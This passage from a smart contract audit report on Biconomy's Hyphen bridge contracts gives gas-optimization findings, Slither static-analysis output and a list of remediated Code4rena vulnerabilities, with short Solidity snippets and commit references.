↳ ]].max = tokenConfig[index].max;
79          }
80      }
```

Risk Level:

Likelihood - 1
Impact - 1

Recommendation:

It is recommended to use `++i` instead of `i++` to increment the value of an `uint` variable inside a loop. This also applies to the variables declared inside the `for` loop, not just the iterator. On the other hand, this is not applicable outside of loops.

Remediation Plan:

SOLVED: The Biconomy team resolved this finding by replacing post-increment with pre-increment on for loops.

Commit ID: cb81bba9c42167b05e4724465ad76edaebd55645

3.13 (HAL-13) REDUNDANT CODE - GAS OPTIMIZATION - INFORMATIONAL

Description:

In TokenManager contract, there is redundant require statement. The following lines check if length of array elements are equal.

Listing 22: Redundant Code

```
1 require(toChainId.length == tokenAddresses.length, "
↳ ERR_ARRAY_LENGTH_MISMATCH");
2 require(tokenAddresses.length == tokenConfig.length, "
↳ ERR_ARRAY_LENGTH_MISMATCH");
```

It is possible to complete this check with a single require function.

Code Location:

Listing 23: TokenManager.sol (Lines 74,75)

```
69     function setDepositConfig(
70         uint256[] memory toChainId,
71         address[] memory tokenAddresses,
72         TokenConfig[] memory tokenConfig
73     ) external onlyOwner {
74         require(toChainId.length == tokenAddresses.length, "
↳ ERR_ARRAY_LENGTH_MISMATCH");
75         require(tokenAddresses.length == tokenConfig.length, "
↳ ERR_ARRAY_LENGTH_MISMATCH");
76         for (uint256 index = 0; index < tokenConfig.length; index
↳ ++) {
77             depositConfig[toChainId[index]][tokenAddresses[index
↳ ]].min = tokenConfig[index].min;
78             depositConfig[toChainId[index]][tokenAddresses[index
↳ ]].max = tokenConfig[index].max;
79         }
80     }
```

Risk Level:

Likelihood - 1
Impact - 1

Recommendation:

Consider using the following line to use only one require function.

Listing 24: Possible Fix

```
require((toChainId.length == tokenAddresses.length) && (
↳ tokenAddresses.length == tokenConfig.length), "
↳ ERR_ARRAY_LENGTH_MISMATCH");
```

Remediation Plan:

SOLVED: The Biconomy team solved this issue by reducing the require functions from two to only one require function.

Commit ID: 41eb807e4f6a617fd2195b23ad22f7397654cdca

3.14 (HAL-14) MISSING TEST COVERAGE FOR PERMIT OPERATIONS - INFORMATIONAL

Description:

There are two permit functions (permitAndDepositErc20 and permitEIP2612AndDepositErc20) on LiquidityPool contract to complete Meta transactions. However, there is no test scenario in the test scripts about whether these functions work correctly.

Code Location:

Listing 25: Test Scripts

```
1 test/LiquidityPool.tests.ts
2 test/LiquidityPoolProxy.tests.ts
3 test/LiquidityProviders.test.ts
4 test/WhitelistPeriodManager.test.ts
```

Risk Level:

Likelihood - 1
Impact - 1

Recommendation:

It is recommended to add test cases containing these functions to improve the test coverage.

Remediation Plan:

ACKNOWLEDGED: The Biconomy team acknowledged this issue. This finding does not pose any security risks currently. Therefore, it was decided

not to fix this issue.

AUTOMATED TESTING

4.1 STATIC ANALYSIS REPORT

Description:

Halborn used automated testing techniques to enhance coverage of certain areas of the scoped contract. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified all the contracts in the repository and was able to compile them correctly into their ABI and binary formats. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.

Results:

LiquidityPool.sol:

```
ERC2771ContextUpgradeable.__gap (contracts/hyphen/metatx/ERC2771ContextUpgradeable.sol#47) shadows:
        - ContextUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#30)
OwnableUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol#77) shadows:
        - ContextUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#30)
PausableUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol#96) shadows:
        - ContextUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#30)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#state-variable-shadowing

Reentrancy in LiquidityPool.getAmountToTransfer(uint256,address,uint256,uint256) (contracts/hyphen/LiquidityPool.sol#310-344):
        External calls:
        - liquidityProviders.addLPFee(tokenAddress,lpFee) (contracts/hyphen/LiquidityPool.sol#330)
        State variables written after the call(s):
        - gasFeeAccumulatedByToken[tokenAddress] = gasFeeAccumulatedByToken[tokenAddress] + gasFee (contracts/hyphen/LiquidityPool.sol#337-338)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-1

LiquidityPool.initialize(address,address,address,address,address)._pauser (contracts/hyphen/LiquidityPool.sol#89) shadows:
        - Pausable._pauser (contracts/security/Pausable.sol#19) (state variable)
LiquidityPool.initialize(address,address,address,address,address)._trustedForwarder (contracts/hyphen/LiquidityPool.sol#90) shadows:
        - ERC2771ContextUpgradeable._trustedForwarder (contracts/hyphen/metatx/ERC2771ContextUpgradeable.sol#14) (state variable)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#local-variable-shadowing

LiquidityPool.transfer(address,address,uint256).receiver (contracts/hyphen/LiquidityPool.sol#404) lacks a zero-check on :
        - (success) = receiver.call{value: _tokenAmount}() (contracts/hyphen/LiquidityPool.sol#407)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#missing-zero-address-validation

Reentrancy in LiquidityPool.getAmountToTransfer(uint256,address,uint256,uint256) (contracts/hyphen/LiquidityPool.sol#310-344):
        External calls:
        - liquidityProviders.addLPFee(tokenAddress,lpFee) (contracts/hyphen/LiquidityPool.sol#330)
        State variables written after the call(s):
        - gasFeeAccumulated[tokenAddress][_msgSender()] = gasFeeAccumulated[tokenAddress][_msgSender()] + gasFee (contracts/hyphen/LiquidityPool.sol#339-340)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-2

Reentrancy in LiquidityPool.depositErc20(uint256,address,address,uint256,string) (contracts/hyphen/LiquidityPool.sol#154-178):
        External calls:
        - SafeERC20Upgradeable.safeTransferFrom(IERC20Upgradeable(tokenAddress),sender,address(this),amount) (contracts/hyphen/LiquidityPool.sol#175)
        Event emitted after the call(s):
        - Deposit(sender,tokenAddress,receiver,toChainId,amount + rewardAmount,rewardAmount,tag) (contracts/hyphen/LiquidityPool.sol#177)
Reentrancy in LiquidityPool.getAmountToTransfer(uint256,address,uint256,uint256) (contracts/hyphen/LiquidityPool.sol#310-344):
        External calls:
        - liquidityProviders.addLPFee(tokenAddress,lpFee) (contracts/hyphen/LiquidityPool.sol#330)
        Event emitted after the call(s):
        - FeeDetails(lpFee,transferFeeAmount,gasFee) (contracts/hyphen/LiquidityPool.sol#343)
```

LPToken.sol:

```
OwnableUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol#77) shadows:
        - ContextUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#30)
ERC2771ContextUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/metatx/ERC2771ContextUpgradeable.sol#45) shadows:
        - ContextUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#30)
PausableUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol#96) shadows:
        - ContextUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#30)
ERC721Upgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#418) shadows:
        - ERC165Upgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol#35)
        - ContextUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#30)
ERC721EnumerableUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol#171) shadows:
        - ERC721Upgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#418)
        - ERC165Upgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol#35)
        - ContextUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#30)
ERC721PausableUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721PausableUpgradeable.sol#42) shadows:
        - PausableUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol#96)
        - ERC721Upgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#418)
        - ERC165Upgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol#35)
        - ContextUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#30)
ERC721URIStorageUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol#75) shadows:
        - ERC721Upgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#418)
        - ERC165Upgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol#35)
        - ContextUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#30)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#state-variable-shadowing

ERC721Upgradeable._checkOnERC721Received(address,address,uint256,bytes) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#376-397) ignores return value by IERC721Receiver
Upgradeable(to).onERC721Received(_msgSender(),from,tokenId,_data) (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#383-393)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return

LPToken.initialize(string,string,address)._name (contracts/hyphen/token/LPToken.sol#28) shadows:
        - ERC721Upgradeable._name (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#24) (state variable)
LPToken.initialize(string,string,address)._symbol (contracts/hyphen/token/LPToken.sol#29) shadows:
        - ERC721Upgradeable._symbol (node_modules/@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol#27) (state variable)
LPToken.initialize(string,string,address)._trustedForwarder (contracts/hyphen/token/LPToken.sol#30) shadows:
        - ERC2771ContextUpgradeable._trustedForwarder (node_modules/@openzeppelin/contracts-upgradeable/metatx/ERC2771ContextUpgradeable.sol#12) (state variable)
LPToken.getAllNftIdsByUser(address)._owner (contracts/hyphen/token/LPToken.sol#55) shadows:
        - OwnableUpgradeable._owner (node_modules/@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol#21) (state variable)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#local-variable-shadowing

LPToken.updateLiquidityPoolAddress(address) (contracts/hyphen/token/LPToken.sol#102-104) should emit an event for:
        - liquidityPoolAddress = _liquidityPoolAddress (contracts/hyphen/token/LPToken.sol#103)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#missing-events-access-control

LPToken.setLiquidtyPool(address)._lpm (contracts/hyphen/token/LPToken.sol#45) lacks a zero-check on :
                - liquidityPoolAddress = _lpm (contracts/hyphen/token/LPToken.sol#46)
LPToken.updateLiquidityPoolAddress(address)._liquidityPoolAddress (contracts/hyphen/token/LPToken.sol#102) lacks a zero-check on :
                - liquidityPoolAddress = _liquidityPoolAddress (contracts/hyphen/token/LPToken.sol#103)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#missing-zero-address-validation
```

LiquidityProviders.sol:

```
ERC2771ContextUpgradeable.__gap (contracts/hyphen/metatx/ERC2771ContextUpgradeable.sol#47) shadows:
        - ContextUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#30)
OwnableUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol#77) shadows:
        - ContextUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#30)
PausableUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol#96) shadows:
        - ContextUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#30)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#state-variable-shadowing

LiquidityProviders.initialize(address,address,address,address)._trustedForwarder (contracts/hyphen/LiquidityProviders.sol#69) shadows:
        - ERC2771ContextUpgradeable._trustedForwarder (contracts/hyphen/metatx/ERC2771ContextUpgradeable.sol#14) (state variable)
LiquidityProviders.initialize(address,address,address,address)._pauser (contracts/hyphen/LiquidityProviders.sol#72) shadows:
        - Pausable._pauser (contracts/security/Pausable.sol#19) (state variable)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#local-variable-shadowing

Reentrancy in LiquidityProviders._increaseLiquidity(uint256,uint256) (contracts/hyphen/LiquidityProviders.sol#233-261):
        External calls:
        - whiteListPeriodManager.beforeLiquidityAddition(_msgSender(),token,_amount) (contracts/hyphen/LiquidityProviders.sol#237)
        State variables written after the call(s):
        - totalLiquidity[token] += _amount (contracts/hyphen/LiquidityProviders.sol#249)
        - totalReserve[token] += _amount (contracts/hyphen/LiquidityProviders.sol#250)
        - totalSharesMinted[token] += mintedSharesAmount (contracts/hyphen/LiquidityProviders.sol#251)
Reentrancy in LiquidityProviders.removeLiquidity(uint256,uint256) (contracts/hyphen/LiquidityProviders.sol#296-334):
        External calls:
        - whiteListPeriodManager.beforeLiquidityRemoval(_msgSender(),_tokenAddress,_amount) (contracts/hyphen/LiquidityProviders.sol#306)
        State variables written after the call(s):
        - totalLPFees[_tokenAddress] -= lpFeeAccumulated (contracts/hyphen/LiquidityProviders.sol#316)
        - totalLiquidity[_tokenAddress] -= _amount (contracts/hyphen/LiquidityProviders.sol#326)
        - totalReserve[_tokenAddress] -= amountToWithdraw (contracts/hyphen/LiquidityProviders.sol#325)
        - totalSharesMinted[_tokenAddress] -= lpSharesToBurn (contracts/hyphen/LiquidityProviders.sol#327)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-2

Reentrancy in LiquidityProviders._addLiquidity(address,uint256) (contracts/hyphen/LiquidityProviders.sol#196-202):
        External calls:
        - nftId = lpToken.mint(_msgSender()) (contracts/hyphen/LiquidityProviders.sol#198)
        - lpToken.updateTokenMetadata(nftId,data) (contracts/hyphen/LiquidityProviders.sol#200)
        - _increaseLiquidity(nftId,_amount) (contracts/hyphen/LiquidityProviders.sol#201)
                - whiteListPeriodManager.beforeLiquidityAddition(_msgSender(),token,_amount) (contracts/hyphen/LiquidityProviders.sol#237)
                - lpToken.updateTokenMetadata(_nftId,data) (contracts/hyphen/LiquidityProviders.sol#258)
        Event emitted after the call(s):
        - LiquidityAdded(token,_amount,_msgSender()) (contracts/hyphen/LiquidityProviders.sol#260)
                - _increaseLiquidity(nftId,_amount) (contracts/hyphen/LiquidityProviders.sol#201)
Reentrancy in LiquidityProviders._increaseLiquidity(uint256,uint256) (contracts/hyphen/LiquidityProviders.sol#233-261):
        External calls:
        - whiteListPeriodManager.beforeLiquidityAddition(_msgSender(),token,_amount) (contracts/hyphen/LiquidityProviders.sol#237)
        - lpToken.updateTokenMetadata(_nftId,data) (contracts/hyphen/LiquidityProviders.sol#258)
        Event emitted after the call(s):
        - LiquidityAdded(token,_amount,_msgSender()) (contracts/hyphen/LiquidityProviders.sol#260)
```

ExecutorManager.sol:

```
Different versions of Solidity is used:
        - Version used: ['0.8.0', '^0.8.0']
        - 0.8.0 (contracts/hyphen/ExecutorManager.sol#3)
        - 0.8.0 (contracts/hyphen/interfaces/IExecutorManager.sol#3)
        - ^0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#3)
        - ^0.8.0 (node_modules/@openzeppelin/contracts/utils/Context.sol#3)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#different-pragma-directives-are-used

Context._msgData() (node_modules/@openzeppelin/contracts/utils/Context.sol#20-22) is never used and should be removed
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dead-code

Pragma version0.8.0 (contracts/hyphen/ExecutorManager.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version0.8.0 (contracts/hyphen/interfaces/IExecutorManager.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/utils/Context.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
solc-0.8.0 is not recommended for deployment
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity

getExecutorStatus(address) should be declared external:
        - ExecutorManager.getExecutorStatus(address) (contracts/hyphen/ExecutorManager.sol#21-23)
getAllExecutors() should be declared external:
        - ExecutorManager.getAllExecutors() (contracts/hyphen/ExecutorManager.sol#25-27)
renounceOwnership() should be declared external:
        - Ownable.renounceOwnership() (node_modules/@openzeppelin/contracts/access/Ownable.sol#53-55)
transferOwnership(address) should be declared external:
        - Ownable.transferOwnership(address) (node_modules/@openzeppelin/contracts/access/Ownable.sol#61-64)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#public-function-that-could-be-declared-external
```

TokenManager.sol:

```
ERC2771Context._msgSender() (contracts/hyphen/metatx/ERC2771Context.sol#21-30) uses assembly
        - INLINE ASM (contracts/hyphen/metatx/ERC2771Context.sol#24-26)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#assembly-usage

Different versions of Solidity is used:
        - Version used: ['0.8.0', '^0.8.0']
        - ^0.8.0 (contracts/hyphen/interfaces/ITokenManager.sol#2)
        - ^0.8.0 (contracts/hyphen/metatx/ERC2771Context.sol#3)
        - 0.8.0 (contracts/hyphen/token/TokenManager.sol#3)
        - ^0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#3)
        - ^0.8.0 (node_modules/@openzeppelin/contracts/security/Pausable.sol#3)
        - ^0.8.0 (node_modules/@openzeppelin/contracts/utils/Context.sol#3)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#different-pragma-directives-are-used

Context._msgData() (node_modules/@openzeppelin/contracts/utils/Context.sol#20-22) is never used and should be removed
ERC2771Context._msgData() (contracts/hyphen/metatx/ERC2771Context.sol#32-38) is never used and should be removed
Pausable._pause() (node_modules/@openzeppelin/contracts/security/Pausable.sol#74-77) is never used and should be removed
Pausable._unpause() (node_modules/@openzeppelin/contracts/security/Pausable.sol#86-89) is never used and should be removed
TokenManager._msgData() (contracts/hyphen/token/TokenManager.sol#136-138) is never used and should be removed
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dead-code

Pragma version^0.8.0 (contracts/hyphen/interfaces/ITokenManager.sol#2) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version^0.8.0 (contracts/hyphen/metatx/ERC2771Context.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version0.8.0 (contracts/hyphen/token/TokenManager.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/security/Pausable.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/utils/Context.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
solc-0.8.0 is not recommended for deployment
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity

Variable ERC2771Context._trustedForwarder (contracts/hyphen/metatx/ERC2771Context.sol#11) is not in mixedCase
Parameter TokenManager.changeFee(address,uint256,uint256)._equilibriumFee (contracts/hyphen/token/TokenManager.sol#46) is not in mixedCase
Parameter TokenManager.changeFee(address,uint256,uint256)._maxFee (contracts/hyphen/token/TokenManager.sol#47) is not in mixedCase
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#conformance-to-solidity-naming-conventions

getEquilibriumFee(address) should be declared external:
        - TokenManager.getEquilibriumFee(address) (contracts/hyphen/token/TokenManager.sol#36-38)
getMaxFee(address) should be declared external:
        - TokenManager.getMaxFee(address) (contracts/hyphen/token/TokenManager.sol#40-42)
getTokensInfo(address) should be declared external:
        - TokenManager.getTokensInfo(address) (contracts/hyphen/token/TokenManager.sol#113-122)
getDepositConfig(uint256,address) should be declared external:
        - TokenManager.getDepositConfig(uint256,address) (contracts/hyphen/token/TokenManager.sol#124-126)
getTransferConfig(address) should be declared external:
        - TokenManager.getTransferConfig(address) (contracts/hyphen/token/TokenManager.sol#128-130)
renounceOwnership() should be declared external:
        - Ownable.renounceOwnership() (node_modules/@openzeppelin/contracts/access/Ownable.sol#53-55)
transferOwnership(address) should be declared external:
        - Ownable.transferOwnership(address) (node_modules/@openzeppelin/contracts/access/Ownable.sol#61-64)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#public-function-that-could-be-declared-external
```

WhitelistPeriodManager.sol:

```
ERC2771ContextUpgradeable.__gap (contracts/hyphen/metatx/ERC2771ContextUpgradeable.sol#47) shadows:
        - ContextUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#30)
OwnableUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol#77) shadows:
        - ContextUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#30)
PausableUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol#96) shadows:
        - ContextUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#30)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#state-variable-shadowing

WhitelistPeriodManager.initialize(address,address,address,address,address)._trustedForwarder (contracts/hyphen/WhitelistPeriodManager.sol#61) shadows:
        - ERC2771ContextUpgradeable._trustedForwarder (contracts/hyphen/metatx/ERC2771ContextUpgradeable.sol#14) (state variable)
WhitelistPeriodManager.initialize(address,address,address,address,address)._pauser (contracts/hyphen/WhitelistPeriodManager.sol#65) shadows:
        - Pausable._pauser (contracts/security/Pausable.sol#19) (state variable)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#local-variable-shadowing

WhitelistPeriodManager.getMaxCommunityLpPositon(address) (contracts/hyphen/WhitelistPeriodManager.sol#245-255) has external calls inside a loop: liquidity = totalLiquidityByLp[_token][lpToken.ownerOf(i)]
contracts/hyphen/WhitelistPeriodManager.sol#249)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation/#calls-inside-a-loop

ERC2771ContextUpgradeable._msgSender() (contracts/hyphen/metatx/ERC2771ContextUpgradeable.sol#29-38) uses assembly
        - INLINE ASM (contracts/hyphen/metatx/ERC2771ContextUpgradeable.sol#32-34)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#assembly-usage

ContextUpgradeable.__Context_init() (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#17-19) is never used and should be removed
ContextUpgradeable._msgData() (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#27-29) is never used and should be removed
ERC2771ContextUpgradeable._msgData() (contracts/hyphen/metatx/ERC2771ContextUpgradeable.sol#40-46) is never used and should be removed
PausableUpgradeable._pause() (node_modules/@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol#80-83) is never used and should be removed
PausableUpgradeable._unpause() (node_modules/@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol#92-95) is never used and should be removed
ReentrancyGuardUpgradeable.__ReentrancyGuard_init() (node_modules/@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol#39-41) is never used and should be removed
ReentrancyGuardUpgradeable.__ReentrancyGuard_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol#43-45) is never used and should be removed
WhitelistPeriodManager._msgData() (contracts/hyphen/WhitelistPeriodManager.sol#280-288) is never used and should be removed
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dead-code

Pragma version^0.8.0 (contracts/hyphen/WhitelistPeriodManager.sol#2) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version^0.8.0 (contracts/hyphen/interfaces/ILPToken.sol#2) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version^0.8.0 (contracts/hyphen/interfaces/ILiquidityProviders.sol#2) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version^0.8.0 (contracts/hyphen/interfaces/ITokenManager.sol#2) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version^0.8.0 (contracts/hyphen/metatx/ERC2771ContextUpgradeable.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version^0.8.0 (contracts/hyphen/structures/LpTokenMetadata.sol#2) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version^0.8.0 (contracts/security/Pausable.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
solc-0.8.0 is not recommended for deployment
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity
```

As a result of the tests carried out with the Slither tool, some results were obtained and these results were reviewed by Halborn. Based on the results reviewed, some vulnerabilities were determined to be false positives and these results were not included in the report. The actual vulnerabilities found by Slither are already included in the report findings.

APPENDIX

5.1 Code4rena Hyphen Contest Remediation

The audit fixes were committed for the following pull request **(#42)**.

- C4 Audit Fixes

C4-24 - DoS by gas limit Code Location: LiquidityFarming.sol#L233

SOLVED: The Halborn team validated that the for loop is optimized with an additional index variable implementation.

C4-26 - Fees can be more than 100 percent Code Location: TokenManager.sol#L44

SOLVED: The Biconomy team set an upper bound (BASE_DIVISOR) for the fee. It will be impossible to set more than 100 percent for fees with this change.

C4-29 - Malicious liquidity providers can prevent other users from providing liquidity Code Location: LiquidityProviders.sol#L280-L310

SOLVED: An additional check is implemented for cases where totalSharesMinted[token] == 0.

C4-34 - Deposit to Zero/Contract Address Leads To Indefinitely Lock the Rewards Code Location: LiquidityFarming.sol#L156

SOLVED: This issue has been solved after adding zero address check to the contract. This finding has been also considered as a good practice.

C4-36 - Reward per second can overflow in liquidity farming Code Location : LiquidityFarming.sol#L289

SOLVED: This issue has been solved by the Biconomy team after setting an upper bound for the variable that changes the reward per second.

C4-55 - Can deposit native token for free and steal funds Code Location: LiquidityPool.sol#L151

SOLVED: The Halborn team validated that this issue was resolved after implementing the tokenAddress != NATIVE.

C4-79 - The low-level functions call, delegatecall and staticcall return true as their first return value if the account called is non-existent Code Location:
LiquidityFarming.sol#L140
LiquidityFarming.sol#L145
LiquidityProviders.sol#L251
LiquidityProviders.sol#L336

SOLVED: Additional zero address checks for the LiquidityPool address were implemented to the contract.

C4-87 - Incentive Pool can be drained without rebalancing the pool Code Location: LiquidityPool.sol#L263-L277

Biconomy Team:

> If depositor keeps toChainId same as source chain Id, then executor will not pick this deposit transaction on backend as there won't be any mapping for fromChainId => toChainId, so depositor funds will remain in the source chain if he tries to do it and try to drain the incentive pool.
> Although this could happen because of any bug on the UI, so it's better to handle these situations on contract itself. It will increase a gas though a bit while depositing. Will consider this point though.

SOLVED: The `toChainId != block.chainid` check was implemented in the contract.

C4-121 - Executor and LiquidityPool.sol should use EIP-1559 transaction fee calculation mechanism and not the legacy mechanism Code Location: LiquidityPool.sol#L263-L340

SOLVED: The EIP-1559 transaction fee calculation standard has been followed with the latest change.

C4-135 - Deleting nft Info can cause users' nft.unpaidRewards to be permanently erased Code Location: LiquidityFarming.sol#L229-L253

SOLVED: The Biconomy team has solved this issue by changing the logic of the _sendRewardsForNft function. Users will get their unpaid rewards after calling the extractRewards function. If there are unpaid rewards, the contract will not delete their nftInfo with these changes.

C4-137 - A pauser can brick the contracts Code Location: Pausable.sol#L65-L68

SOLVED: The whenNotPaused modifier has been added for the renouncePauser function.

C4-162 - Farming rewards are incorrectly calculated when multiple operations by the same token are done in the same block Code Location: LiquidityFarming.sol#L315-L325

SOLVED: The block.timestamp check, which caused the vulnerability, was removed from the contract, so other users' rewards on the same block were calculated properly.

C4-192 - Function setBaseGas Lacks Bounds Check and Event Emit Affects Transfer Code Location:
LiquidityPool.sol#L119-L121
LiquidityPool.sol#L284

SOLVED: A new event that will notify the change of baseGas has been implemented in the contract and the vulnerability has been eliminated.

